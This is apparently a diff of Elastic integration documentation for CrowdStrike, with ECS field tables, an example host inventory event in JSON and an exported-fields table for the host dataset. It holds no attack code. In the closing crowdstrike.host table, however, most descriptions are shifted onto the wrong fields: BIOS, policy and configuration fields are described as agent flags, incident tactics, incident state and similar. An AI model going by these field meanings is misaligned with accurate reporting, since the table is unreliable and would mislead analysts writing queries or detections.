crowdstrike.user_identity_arn | | keyword | +| crowdstrike.user_identity_mfa_authenticated | | boolean | +| crowdstrike.vertex_id | | keyword | +| crowdstrike.vertex_type | | keyword | +| data_stream.dataset | Data stream dataset. | constant_keyword | +| data_stream.namespace | Data stream namespace. | constant_keyword | +| data_stream.type | Data stream type. | constant_keyword | +| destination.address | Some event destination addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | +| destination.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | +| destination.as.organization.name | Organization name. | keyword | +| destination.as.organization.name.text | Multi-field of `destination.as.organization.name`. | match_only_text | +| destination.geo.city_name | City name. | keyword | +| destination.geo.continent_name | Name of the continent. | keyword | +| destination.geo.country_iso_code | Country ISO code. | keyword | +| destination.geo.country_name | Country name. | keyword | +| destination.geo.location | Longitude and latitude. | geo_point | +| destination.geo.region_iso_code | Region ISO code. | keyword | +| destination.geo.region_name | Region name. | keyword | +| destination.ip | IP address of the destination (IPv4 or IPv6). | ip | +| destination.port | Port of the destination. | long | +| device.id | The unique identifier of a device. The identifier must not change across application sessions but stay fixed for an instance of a (mobile) device. On iOS, this value must be equal to the vendor identifier (https://developer.apple.com/documentation/uikit/uidevice/1620059-identifierforvendor). On Android, this value must be equal to the Firebase Installation ID or a globally unique UUID which is persisted across sessions in your application. For GDPR and data protection law reasons this identifier should not carry information that would allow to identify a user. | keyword | +| dll.Ext.size | Size of DLL. | long | +| dns.question.name | The name being queried. If the name field contains non-printable characters (below 32 or above 126), those characters should be represented as escaped base 10 integers (\DDD). Back slashes and quotes should be escaped. Tabs, carriage returns, and line feeds should be converted to \t, \r, and \n respectively. | keyword | +| dns.question.registered_domain | The highest registered domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | +| dns.question.subdomain | The subdomain is all of the labels under the registered_domain. If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | +| dns.question.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | +| dns.question.type | The type of record being queried. | keyword | +| dns.type | The type of DNS event captured, query or answer. If your source of DNS events only gives you DNS queries, you should only create dns events of type `dns.type:query`. If your source of DNS events gives you answers as well, you should create one event per query (optionally as soon as the query is seen). And a second event containing all query details as well as an array of answers. | keyword | +| ecs.version | ECS version this event conforms to. `ecs.version` is a required field and must exist in all events. When querying across multiple indices -- which may conform to slightly different ECS versions -- this field lets integrations adjust to the schema version of the events. | constant_keyword | +| event.action | The action captured by the event. This describes the information in the event. It is more specific than `event.category`. Examples are `group-add`, `process-started`, `file-created`. The value is normally defined by the implementer. | keyword | +| event.category | This is one of four ECS Categorization Fields, and indicates the second level in the ECS category hierarchy. `event.category` represents the "big buckets" of ECS categories. For example, filtering on `event.category:process` yields all events relating to process activity. This field is closely related to `event.type`, which is used as a subcategory. This field is an array. This will allow proper categorization of some events that fall in multiple categories. | keyword | +| event.created | `event.created` contains the date/time when the event was first read by an agent, or by your pipeline. This field is distinct from `@timestamp` in that `@timestamp` typically contain the time extracted from the original event. In most situations, these two timestamps will be slightly different. The difference can be used to calculate the delay between your source generating an event, and the time when your agent first processed it. This can be used to monitor your agent's or pipeline's ability to keep up with your event source. In case the two timestamps are identical, `@timestamp` should be used. | date | +| event.dataset | Event dataset | constant_keyword | +| event.id | Unique ID to describe the event. | keyword | +| event.kind | This is one of four ECS Categorization Fields, and indicates the highest level in the ECS category hierarchy. `event.kind` gives high-level information about what type of information the event contains, without being specific to the contents of the event. For example, values of this field distinguish alert events from metric events. The value of this field can be used to inform how these kinds of events should be handled. They may warrant different retention, different access control, it may also help understand whether the data is coming in at a regular interval or not. | keyword | +| event.module | Event module | constant_keyword | +| event.original | Raw text message of entire event. Used to demonstrate log integrity or where the full log message (before splitting it up in multiple parts) may be required, e.g. for reindex. This field is not indexed and doc_values are disabled. It cannot be searched, but it can be retrieved from `_source`. If users wish to override this and index this field, please see `Field data types` in the `Elasticsearch Reference`. | keyword | +| event.outcome | This is one of four ECS Categorization Fields, and indicates the lowest level in the ECS category hierarchy. `event.outcome` simply denotes whether the event represents a success or a failure from the perspective of the entity that produced the event. Note that when a single transaction is described in multiple events, each event may populate different values of `event.outcome`, according to their perspective. Also note that in the case of a compound event (a single event that contains multiple logical events), this field should be populated with the value that best captures the overall success or failure from the perspective of the event producer. Further note that not all events will have an associated outcome. For example, this field is generally not populated for metric events, events with `event.type:info`, or any events for which an outcome does not make logical sense. | keyword | +| event.timezone | This field should be populated when the event's timestamp does not include timezone information already (e.g. default Syslog timestamps). It's optional otherwise. Acceptable timezone formats are: a canonical ID (e.g. "Europe/Amsterdam"), abbreviated (e.g. "EST") or an HH:mm differential (e.g. "-05:00"). | keyword | +| event.type | This is one of four ECS Categorization Fields, and indicates the third level in the ECS category hierarchy. `event.type` represents a categorization "sub-bucket" that, when used along with the `event.category` field values, enables filtering events down to a level appropriate for single visualization. This field is an array. This will allow proper categorization of some events that fall in multiple event types. | keyword | +| file.Ext.original.name | | keyword | +| file.Ext.original.path | | keyword | +| file.device | Device that is the source of the file. | keyword | +| file.directory | Directory where the file is located. It should include the drive letter, when appropriate. | keyword | +| file.drive_letter | Drive letter where the file is located. This field is only relevant on Windows. The value should be uppercase, and not include the colon. | keyword | +| file.extension | File extension, excluding the leading dot. Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword | +| file.hash.sha256 | SHA256 hash. | keyword | +| file.inode | Inode representing the file in the filesystem. | keyword | +| file.name | Name of the file including the extension, without the directory. | keyword | +| file.path | Full path to the file, including the file name. It should include the drive letter, when appropriate. | keyword | +| file.path.text | Multi-field of `file.path`. | match_only_text | +| file.size | File size in bytes. Only relevant when `file.type` is "file". | long | +| file.type | File type (file, dir, or symlink). | keyword | +| group.Ext.real.id | Unique identifier for the group on the system/platform. | keyword | +| group.id | Unique identifier for the group on the system/platform. | keyword | +| host.domain | Name of the domain of which the host is a member. For example, on Windows this could be the host's Active Directory domain or NetBIOS domain name. For Linux this could be the domain of the host's LDAP provider. | keyword | +| host.geo.city_name | City name. | keyword | +| host.geo.continent_name | Name of the continent. | keyword | +| host.geo.country_name | Country name. | keyword | +| host.geo.timezone | The time zone of the location, such as IANA time zone name. | keyword | +| host.hostname | Hostname of the host. It normally contains what the `hostname` command returns on the host machine. | keyword | +| host.ip | Host ip addresses. | ip | +| host.name | Name of the host. It can contain what hostname returns on Unix systems, the fully qualified domain name (FQDN), or a name specified by the user. The recommended value is the lowercase FQDN of the host. | keyword | +| host.os.type | Use the `os.type` field to categorize the operating system into one of the broad commercial families. If the OS you're dealing with is not listed as an expected value, the field should not be populated. Please let us know by opening an issue with ECS, to propose its addition. | keyword | +| host.os.version | Operating system version as a raw string. | keyword | +| input.type | | keyword | +| log.file.path | Full path to the log file this event came from, including the file name. It should include the drive letter, when appropriate. If the event wasn't read from a log file, do not populate this field. | keyword | +| log.offset | | long | +| network.community_id | A hash of source and destination IPs and ports, as well as the protocol used in a communication. This is a tool-agnostic standard to identify flows. Learn more at https://github.com/corelight/community-id-spec. | keyword | +| network.direction | Direction of the network traffic. When mapping events from a host-based monitoring context, populate this field from the host's point of view, using the values "ingress" or "egress". When mapping events from a network or perimeter-based monitoring context, populate this field from the point of view of the network perimeter, using the values "inbound", "outbound", "internal" or "external". Note that "internal" is not crossing perimeter boundaries, and is meant to describe communication between two hosts within the perimeter. Note also that "external" is meant to describe traffic between two hosts that are external to the perimeter. This could for example be useful for ISPs or VPN service providers. | keyword | +| network.iana_number | IANA Protocol Number (https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml). Standardized list of protocols. This aligns well with NetFlow and sFlow related logs which use the IANA Protocol Number. | keyword | +| network.transport | Same as network.iana_number, but instead using the Keyword name of the transport layer (udp, tcp, ipv6-icmp, etc.) The field value must be normalized to lowercase for querying. | keyword | +| observer.address | | keyword | +| observer.geo.city_name | City name. | keyword | +| observer.geo.continent_name | Name of the continent. | keyword | +| observer.geo.country_iso_code | Country ISO code. | keyword | +| observer.geo.country_name | Country name. | keyword | +| observer.geo.location | Longitude and latitude. | geo_point | +| observer.geo.region_iso_code | Region ISO code. | keyword | +| observer.geo.region_name | Region name. | keyword | +| observer.ip | IP addresses of the observer. | ip | +| observer.serial_number | Observer serial number. | keyword | +| observer.type | The type of the observer the data is coming from. There is no predefined list of observer types. Some examples are `forwarder`, `firewall`, `ids`, `ips`, `proxy`, `poller`, `sensor`, `APM server`. | constant_keyword | +| observer.vendor | Vendor name of the observer. | constant_keyword | +| observer.version | Observer version. | keyword | +| process.Ext.token.integrity_level_name | Human readable integrity level. | keyword | +| process.args | Array of process arguments, starting with the absolute path to the executable. May be filtered to protect sensitive information. | keyword | +| process.args_count | Length of the process.args array. This field can be useful for querying or performing bucket analysis on how many arguments were provided to start a process. More arguments may be an indication of suspicious activity. | long | +| process.command_line | Full command line that started the process, including the absolute path to the executable, and all arguments. Some arguments may be filtered to protect sensitive information. | wildcard | +| process.command_line.text | Multi-field of `process.command_line`. | match_only_text | +| process.end | The time the process ended. | date | +| process.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword | +| process.executable | Absolute path to the process executable. | keyword | +| process.executable.caseless | Multi-field of `process.executable`. | keyword | +| process.executable.text | Multi-field of `process.executable`. | match_only_text | +| process.exit_code | The exit code of the process, if this is a termination event. The field should be absent if there is no exit code for the event (e.g. process start). | long | +| process.group.id | | keyword | +| process.hash.md5 | MD5 hash. | keyword | +| process.hash.sha256 | SHA256 hash. | keyword | +| process.name | Process name. Sometimes called program name or similar. | keyword | +| process.name.caseless | Multi-field of `process.name`. | keyword | +| process.name.text | Multi-field of `process.name`. | match_only_text | +| process.parent.entity_id | Unique identifier for the process. The implementation of this is specified by the data source, but some examples of what could be used here are a process-generated UUID, Sysmon Process GUIDs, or a hash of some uniquely identifying components of a process. Constructing a globally unique identifier is a common practice to mitigate PID reuse as well as to identify a specific process over time, across multiple monitored hosts. | keyword | +| process.parent.name | Process name. Sometimes called program name or similar. | keyword | +| process.parent.name.text | Multi-field of `process.parent.name`. | match_only_text | +| process.pgid | Deprecated for removal in next major version release. This field is superseded by `process.group_leader.pid`. Identifier of the group of processes the process belongs to. | long | +| process.pid | Process id. | long | +| process.start | The time the process started. | date | +| process.thread.id | Thread ID. | long | +| process.title | Process title. The proctitle, some times the same as process name. Can also be different: for example a browser setting its title to the web page currently opened. | keyword | +| process.title.text | Multi-field of `process.title`. | match_only_text | +| process.uptime | Seconds the process has been up. | long | +| related.hash | All the hashes seen on your event. Populating this field, then using it to search for hashes can help in situations where you're unsure what the hash algorithm is (and therefore which key name to search). | keyword | +| related.hosts | All hostnames or other host identifiers seen on your event. Example identifiers include FQDNs, domain names, workstation names, or aliases. | keyword | +| related.ip | All of the IPs seen on your event. | ip | +| related.user | All the user names or other user identifiers seen on the event. | keyword | +| server.address | Some event server addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | +| server.domain | The domain name of the server system. This value may be a host name, a fully qualified domain name, or another host naming format. The value may derive from the original event or be added from enrichment. | keyword | +| server.registered_domain | The highest registered server domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | +| server.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain. In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | +| server.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | +| source.address | Some event source addresses are defined ambiguously. The event will sometimes list an IP, a domain or a unix socket. You should always store the raw address in the `.address` field. Then it should be duplicated to `.ip` or `.domain`, depending on which one it is. | keyword | +| source.as.number | Unique number allocated to the autonomous system. The autonomous system number (ASN) uniquely identifies each network on the Internet. | long | +| source.as.organization.name | Organization name. | keyword | +| source.as.organization.name.text | Multi-field of `source.as.organization.name`. | match_only_text | +| source.geo.city_name | City name. | keyword | +| source.geo.continent_name | Name of the continent. | keyword | +| source.geo.country_iso_code | Country ISO code. | keyword | +| source.geo.country_name | Country name. | keyword | +| source.geo.location | Longitude and latitude. | geo_point | +| source.geo.region_iso_code | Region ISO code. | keyword | +| source.geo.region_name | Region name. | keyword | +| source.ip | IP address of the source (IPv4 or IPv6). | ip | +| source.mac | MAC address of the source. The notation format from RFC 7042 is suggested: Each octet (that is, 8-bit byte) is represented by two [uppercase] hexadecimal digits giving the value of the octet as an unsigned integer. Successive octets are separated by a hyphen. | keyword | +| source.port | Port of the source. | long | +| tags | List of keywords used to tag each event. | keyword | +| url.domain | Domain of the url, such as "www.elastic.co". In some cases a URL may refer to an IP and/or port directly, without a domain name. In this case, the IP address would go to the `domain` field. If the URL contains a literal IPv6 address enclosed by `[` and `]` (IETF RFC 2732), the `[` and `]` characters should also be captured in the `domain` field. | keyword | +| url.extension | The field contains the file extension from the original request url, excluding the leading dot. The file extension is only set if it exists, as not every url has a file extension. The leading period must not be included. For example, the value must be "png", not ".png". Note that when the file name has multiple extensions (example.tar.gz), only the last one should be captured ("gz", not "tar.gz"). | keyword | +| url.original | Unmodified original url as seen in the event source. Note that in network monitoring, the observed URL may be a full URL, whereas in access logs, the URL is often just represented as a path. This field is meant to represent the URL as it was observed, complete or not. | wildcard | +| url.original.text | Multi-field of `url.original`. | match_only_text | +| url.path | Path of the request, such as "/search". | wildcard | +| url.registered_domain | The highest registered url domain, stripped of the subdomain. For example, the registered domain for "foo.example.com" is "example.com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last two labels will not work well for TLDs such as "co.uk". | keyword | +| url.scheme | Scheme of the request, such as "https". Note: The `:` is not part of the scheme. | keyword | +| url.subdomain | The subdomain portion of a fully qualified domain name includes all of the names except the host name under the registered_domain. In a partially qualified domain, or if the the qualification level of the full name cannot be determined, subdomain contains all of the names below the registered domain. For example the subdomain portion of "www.east.mydomain.co.uk" is "east". If the domain has multiple levels of subdomain, such as "sub2.sub1.example.com", the subdomain field should contain "sub2.sub1", with no trailing period. | keyword | +| url.top_level_domain | The effective top level domain (eTLD), also known as the domain suffix, is the last part of the domain name. For example, the top level domain for example.com is "com". This value can be determined precisely with a list like the public suffix list (https://publicsuffix.org). Trying to approximate this by simply taking the last label will not work well for effective TLDs such as "co.uk". | keyword | +| user.Ext.real.id | One or multiple unique identifiers of the user. | keyword | +| user.domain | Name of the directory the user is a member of. For example, an LDAP or Active Directory domain name. | keyword | +| user.email | User email address. | keyword | +| user.full_name | User's full name, if available. | keyword | +| user.full_name.text | Multi-field of `user.full_name`. | match_only_text | +| user.group.id | Unique identifier for the group on the system/platform. | keyword | +| user.id | Unique identifier of the user. | keyword | +| user.name | Short name or login of the user. | keyword | +| user.name.text | Multi-field of `user.name`. | match_only_text | + + +### Host + +This is the `host` dataset. + +#### Example + +An example event for `host` looks as following: + +```json +{ + "@timestamp": "2023-11-07T10:26:53.000Z", + "agent": { + "ephemeral_id": "ca93e106-c70b-45b7-a058-ee8f088d0c70", + "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc", + "name": "elastic-agent-18005", + "type": "filebeat", + "version": "8.18.0" + }, + "crowdstrike": { + "host": { + "agent": { + "load_flags": "0", + "local_time": "2023-11-07T04:51:16.678Z", + "version": "7.05.17603.0" + }, + "bios": { + "manufacturer": "ABCInc.", + "version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)" + }, + "chassis_type": { + "desc": "Laptop", + "value": "9" + }, + "cid": "92012896127c4948236ba7601b886b0", + "config_id": { + "base": "6594763", + "build": "1703", + "platform": "4" + }, + "connection_ip": "81.2.69.192", + "cpu_signature": "460517", + "device_policies": { + "device_control": { + "applied": true, + "applied_date": "2023-06-20T08:45:26.341Z", + "assigned_date": "2023-06-20T08:43:47.736Z", + "policy_id": "2f88daf0177f467dae69262a5ce71775", + "policy_type": "device-control" + }, + "firewall": { + "applied": true, + "applied_date": "2023-09-11T10:33:44.174Z", + "assigned_date": "2023-09-11T10:32:47.853Z", + "policy": { + "id": "1ee301f7e3e24e96ad6a23c73aaac1e3", + "type": "firewall" + }, + "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3" + }, + "global_config": { + "applied": true, + "applied_date": "2023-11-07T04:52:59.515Z", + "assigned_date": "2023-11-07T04:51:18.946Z", + "policy": { + "id": "7e3078b60976486cac5dc998808d9135", + "type": "globalconfig" + }, + "settings_hash": "f01def74" + }, + "prevention": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.643Z", + "assigned_date": "2023-06-08T10:03:49.505Z", + "policy": { + "id": "1024fac1b279424fa7300b8ac2d56be5", + "type": "prevention" + }, + "settings_hash": "f7a54ca1" + }, + "remote_response": { + "applied": true, + "applied_date": "2023-06-08T10:04:47.017Z", + "assigned_date": "2023-06-08T10:03:49.505Z", + "policy": { + "id": "dabb4def99034f11b9b3d52271584c9f", + "type": "remote-response" + }, + "settings_hash": "8a548e5e" + }, + "sensor_update": { + "applied": true, + "applied_date": "2023-11-07T04:52:59.659Z", + "assigned_date": "2023-11-07T04:47:43.342Z", + "policy": { + "id": "64bfa2bbcd4e46da92a66b107933da11", + "type": "sensor-update" + }, + "settings_hash": "tagged|18;101", + "uninstall_protection": "ENABLED" + } + }, + "external_ip": "81.2.69.192", + "first_seen": "2023-06-08T10:00:19.000Z", + "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77", + "groups": [ + "182388a8dbea4c44b5e019cfd32c2695" + ], + "hostname": "CLM101-131.local", + "id": "3114433dbce478ca48d9a828b9b34be", + "kernel_version": "22.6.0", + "last_seen": "2023-11-07T10:25:24.000Z", + "local_ip": "81.2.69.142", + "mac_address": "14-7D-DA-AD-AC-71", + "machine_domain": "SYS", + "major_version": "22", + "meta": { + "version": "6002", + "version_string": "7:43570272778" + }, + "minor_version": "6", + "modified_timestamp": "2023-11-07T10:26:53.000Z", + "os": { + "build": "22G120", + "version": "Ventura(13)" + }, + "platform": { + "id": "1", + "name": "Mac" + }, + "policies": [ + { + "applied": true, + "applied_date": "2023-06-08T10:04:47.643Z", + "assigned_date": "2023-06-08T10:03:49.505Z", + "policy": { + "id": "1024fac1b279424fa7300b8ac2d56be5", + "type": "prevention" + }, + "settings_hash": "f7a54ca1" + } + ], + "product_type_desc": "Workstation", + "provision_status": "Provisioned", + "reduced_functionality_mode": "no", + "serial_number": "FVFDH73HMNHX", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system": { + "manufacturer": "ABCInc.", + "product_name": "Air,1" + }, + "tags": [ + "tags" + ] + } + }, + "data_stream": { + "dataset": "crowdstrike.host", + "namespace": "67537", + "type": "logs" + }, + "device": { + "id": "3114433dbce478ca48d9a828b9b34be" + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc", + "snapshot": true, + "version": "8.18.0" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "host" + ], + "dataset": "crowdstrike.host", + "ingested": "2025-11-27T09:36:28Z", + "kind": "event", + "original": "{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-11-07T04:51:16.678Z\",\"agent_version\":\"7.05.17603.0\",\"bios_manufacturer\":\"ABCInc.\",\"bios_version\":\"2020.0.1.0.0(iBridge:22.11.000.0.0,0)\",\"chassis_type\":\"9\",\"chassis_type_desc\":\"Laptop\",\"cid\":\"92012896127c4948236ba7601b886b0\",\"config_id_base\":\"6594763\",\"config_id_build\":\"1703\",\"config_id_platform\":\"4\",\"connection_ip\":\"81.2.69.192\",\"cpu_signature\":\"460517\",\"device_id\":\"3114433dbce478ca48d9a828b9b34be\",\"device_policies\":{\"device_control\":{\"applied\":true,\"applied_date\":\"2023-06-20T08:45:26.341093915Z\",\"assigned_date\":\"2023-06-20T08:43:47.736146738Z\",\"policy_id\":\"2f88daf0177f467dae69262a5ce71775\",\"policy_type\":\"device-control\"},\"firewall\":{\"applied\":true,\"applied_date\":\"2023-09-11T10:33:44.174488832Z\",\"assigned_date\":\"2023-09-11T10:32:47.853976945Z\",\"policy_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\",\"policy_type\":\"firewall\",\"rule_set_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\"},\"global_config\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.515775409Z\",\"assigned_date\":\"2023-11-07T04:51:18.94671252Z\",\"policy_id\":\"7e3078b60976486cac5dc998808d9135\",\"policy_type\":\"globalconfig\",\"settings_hash\":\"f01def74\"},\"prevention\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"},\"remote_response\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.01735027Z\",\"assigned_date\":\"2023-06-08T10:03:49.505163572Z\",\"policy_id\":\"dabb4def99034f11b9b3d52271584c9f\",\"policy_type\":\"remote-response\",\"settings_hash\":\"8a548e5e\"},\"sensor_update\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.659583066Z\",\"assigned_date\":\"2023-11-07T04:47:43.342175341Z\",\"policy_id\":\"64bfa2bbcd4e46da92a66b107933da11\",\"policy_type\":\"sensor-update\",\"settings_hash\":\"tagged|18;101\",\"uninstall_protection\":\"ENABLED\"}},\"external_ip\":\"81.2.69.192\",\"first_seen\":\"2023-06-08T10:00:19Z\",\"group_hash\":\"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77\",\"groups\":[\"182388a8dbea4c44b5e019cfd32c2695\"],\"hostname\":\"CLM101-131.local\",\"kernel_version\":\"22.6.0\",\"last_seen\":\"2023-11-07T10:25:24Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"14-7d-da-ad-ac-71\",\"machine_domain\":\"SYS\",\"major_version\":\"22\",\"meta\":{\"version\":\"6002\",\"version_string\":\"7:43570272778\"},\"minor_version\":\"6\",\"modified_timestamp\":\"2023-11-07T10:26:53Z\",\"os_build\":\"22G120\",\"os_version\":\"Ventura(13)\",\"platform_id\":\"1\",\"platform_name\":\"Mac\",\"policies\":[{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"}],\"product_type_desc\":\"Workstation\",\"provision_status\":\"Provisioned\",\"reduced_functionality_mode\":\"no\",\"serial_number\":\"FVFDH73HMNHX\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"ABCInc.\",\"system_product_name\":\"Air,1\",\"tags\":[\"tags\"]}", + "type": [ + "info" + ] + }, + "host": { + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "hostname": "CLM101-131.local", + "id": "3114433dbce478ca48d9a828b9b34be", + "ip": [ + "81.2.69.192" + ], + "mac": [ + "14-7D-DA-AD-AC-71" + ], + "os": { + "full": "Ventura(13)", + "platform": "Mac", + "type": "macos" + } + }, + "input": { + "type": "cel" + }, + "related": { + "hash": [ + "f01def74", + "f7a54ca1", + "8a548e5e", + "tagged|18;101", + "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77" + ], + "hosts": [ + "CLM101-131.local", + "SYS" + ], + "ip": [ + "81.2.69.192", + "81.2.69.142" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "crowdstrike-host" + ] +} +``` + +**Exported fields** + +| Field | Description | Type | +|---|---|---| +| @timestamp | Event timestamp. | date | +| crowdstrike.host.agent.load_flags | Any errors associated with the incident. | keyword | +| crowdstrike.host.agent.local_time | The fine score associated with the incident. | date | +| crowdstrike.host.agent.version | The list of host IDs associated with the incident. | keyword | +| crowdstrike.host.bios.manufacturer | Flags indicating the load status of the agent on the host. | keyword | +| crowdstrike.host.bios.version | The local time on the host where the agent is running. | keyword | +| crowdstrike.host.chassis_type.desc | The version of the agent running on the host. | keyword | +| crowdstrike.host.chassis_type.value | The manufacturer of the BIOS on the host. | keyword | +| crowdstrike.host.cid | The version of the BIOS on the host. | keyword | +| crowdstrike.host.config_id.base | The customer ID associated with the host. | keyword | +| crowdstrike.host.config_id.build | The base configuration ID associated with the host. | keyword | +| crowdstrike.host.config_id.platform | The build configuration ID associated with the host. | keyword | +| crowdstrike.host.connection_ip | The platform configuration ID associated with the host. | ip | +| crowdstrike.host.cpu_signature | The device ID associated with the host. | keyword | +| crowdstrike.host.device_policies.device_control.applied | Timestamp indicating when the host was first seen. | boolean | +| crowdstrike.host.device_policies.device_control.applied_date | The groups associated with the host. | date | +| crowdstrike.host.device_policies.device_control.assigned_date | Timestamp indicating when the host was last seen. | date | +| crowdstrike.host.device_policies.device_control.policy_id | The local IP address of the host. | keyword | +| crowdstrike.host.device_policies.device_control.policy_type | The domain to which the machine belongs. | keyword | +| crowdstrike.host.device_policies.firewall.applied | The major version of the operating system on the host. | boolean | +| crowdstrike.host.device_policies.firewall.applied_date | The minor version of the operating system on the host. | date | +| crowdstrike.host.device_policies.firewall.assigned_date | Timestamp indicating when the host information was last modified. | date | +| crowdstrike.host.device_policies.firewall.policy.id | The organizational units associated with the host. | keyword | +| crowdstrike.host.device_policies.firewall.policy.type | The platform ID of the host. | keyword | +| crowdstrike.host.device_policies.firewall.rule_set_id | The platform name of the host. | keyword | +| crowdstrike.host.device_policies.global_config.applied | The description of the product type of the host. | boolean | +| crowdstrike.host.device_policies.global_config.applied_date | The product type of the host. | date | +| crowdstrike.host.device_policies.global_config.assigned_date | The site name associated with the host. | date | +| crowdstrike.host.device_policies.global_config.policy.id | The status of the host. | keyword | +| crowdstrike.host.device_policies.global_config.policy.type | The manufacturer of the system on the host. | keyword | +| crowdstrike.host.device_policies.global_config.settings_hash | The product name of the system on the host. | keyword | +| crowdstrike.host.device_policies.prevention.applied | The objectives associated with the incident. | boolean | +| crowdstrike.host.device_policies.prevention.applied_date | The state of the incident, whether open or closed. | date | +| crowdstrike.host.device_policies.prevention.assigned_date | The status of the incident. | date | +| crowdstrike.host.device_policies.prevention.policy.id | The tactics associated with the incident. | keyword | +| crowdstrike.host.device_policies.prevention.policy.type | The techniques associated with the incident. | keyword | +| crowdstrike.host.device_policies.prevention.rule_groups | The type of incident. | keyword | +| crowdstrike.host.device_policies.prevention.settings_hash | The users associated with the incident. | keyword | +| crowdstrike.host.device_policies.remote_response.applied | | boolean | +| crowdstrike.host.device_policies.remote_response.applied_date | | date | +| crowdstrike.host.device_policies.remote_response.assigned_date | | date | +| crowdstrike.host.device_policies.remote_response.policy.id | | keyword | +| crowdstrike.host.device_policies.remote_response.policy.type | | keyword | +| crowdstrike.host.device_policies.remote_response.settings_hash | | keyword | +| crowdstrike.host.device_policies.sensor_update.applied | | boolean | +| crowdstrike.host.device_policies.sensor_update.applied_date | | date | +| crowdstrike.host.device_policies.sensor_update.assigned_date | | date | +| crowdstrike.host.device_policies.sensor_update.policy.id | | keyword | +| crowdstrike.host.device_policies.sensor_update.policy.type | | keyword | +| crowdstrike.host.device_policies.sensor_update.settings_hash | | keyword | +| crowdstrike.host.device_policies.sensor_update.uninstall_protection | | keyword | +| crowdstrike.host.external_ip | The external IP address of the host. | ip | +| crowdstrike.host.first_seen | | date | +| crowdstrike.host.group_hash | | keyword | +| crowdstrike.host.groups | | keyword | +| crowdstrike.host.hostname | The hostname of the host. | keyword | +| crowdstrike.host.id | Timestamp indicating when the incident started. | keyword | +| crowdstrike.host.kernel_version | | keyword | +| crowdstrike.host.last_seen | | date | +| crowdstrike.host.local_ip | | ip | +| crowdstrike.host.mac_address | The MAC address of the host. | keyword | +| crowdstrike.host.machine_domain | | keyword | +| crowdstrike.host.major_version | | keyword | +| crowdstrike.host.meta.version | | keyword | +| crowdstrike.host.meta.version_string | | keyword | +| crowdstrike.host.minor_version | | keyword | +| crowdstrike.host.modified_timestamp | Timestamp indicating when the incident was created. | date | +| crowdstrike.host.os.build | | keyword | +| crowdstrike.host.os.version | The version of the operating system on the host. | keyword | +| 